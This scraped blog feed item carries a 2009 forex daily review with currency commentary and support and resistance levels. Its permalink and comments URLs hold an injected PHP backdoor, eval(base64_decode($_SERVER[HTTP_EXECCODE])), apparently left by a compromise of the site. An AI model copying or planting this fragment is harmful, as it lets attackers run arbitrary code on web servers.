Bungee Options » daily review http://www.bungeeoptions.com Option to Bungee Trade - Take the Risk ! Mon, 21 Dec 2009 10:07:23 +0000 http://wordpress.org/?v=2.8.2 en hourly 1 Daily Review http://www.bungeeoptions.com/2009/10/28/daily-review/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#utm_source=feed&utm_medium=feed&utm_campaign=feed http://www.bungeeoptions.com/2009/10/28/daily-review/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 28 Oct 2009 13:03:24 +0000 Cedrick Toledano http://www.bungeeoptions.com/?p=141

USD Dollar (USD)

The Dollar strengthen during yesterday trading session as Confidence among U.S. consumers unexpectedly fell in October for a second month. The Conference Board’s confidence index dropped to 47.7 from a revised 53.4 in September. NASDAQ decreased by 1.2% and Dow Jones slightly rose by 0.14%. Crude oil rose by 1% closing at 79.55$ a barrel after a volatile trading session as investors wait for the oil inventories today. Gold (XAU) weakened by 0.7% closed at 1035.4$ an ounce. Today, Core Durable Goods Orders are expected at 0.6% vs. -0.3% prior, New Home Sales are expected to rise from 429K to 443K.

EURO (EUR)

The Euro weakened versus the Dollar for the third day in a row on concern a rally in stocks and commodities can’t be sustained. M3 Money Supply came out worse than expected at 1.8% vs. 2.1% forecast. Overall, EUR/USD traded with a low of 1.4770 and with a high of 1.4926. Today, German Prelim CPI is expected at 0.1% vs.-0.4% previously.

EUR/USD – Last: 1.4811

Resistance

1.4824

1.4927

1.5046

Support

1.4770

British Pound (GBP)

The Pound strengthened against the Dollar after the Confederation of British Industry\’s distributive trade\’s survey reported sales balance rose to +8 in October from +3 in September, better than economists\’ forecasts of a rise to +5. This is the fastest pace of growth since December 2007. Overall, GBP/USD traded with a low of 1.6285 and with a high of 1.6438. No economic data expected today.

GBP/USD – Last: 1.6358

Resistance

1.6438

1.6636

1.6693

Support

1.6286

1.6250

Japanese Yen (JPY)

The Yen rose against the Dollar for the first time in 6 days as a plunge in Treasury yields after the record $44 billion auction in two-year notes made the Dollar less attractive to Japanese investors. USD/JPY traded with a low of 91.70 and with a high of 92.32. Retail sales came out at -1.4% vs. -1.5% forecast. No economic data expected today.

USD/JPY-Last: 91.18

Resistance

91.57

92.19

92.32

Support

90.77

90.48

Canadian dollar (CAD)

The Canadian Dollar appreciated from a three-week low, gaining for the first time in four days amid speculation its decline was too big to be sustained after it reached a key technical level. Overall, USDCAD traded with a low of 1.0626 and with a high of 1.0716. Today, BOC Gov Carney Speaks.

USD/CAD – Last: 1.0664

Resistance

1.0696

1.0717

Support

1.0630

1.0500

1.0450

Research by http://www.ufxbank.com

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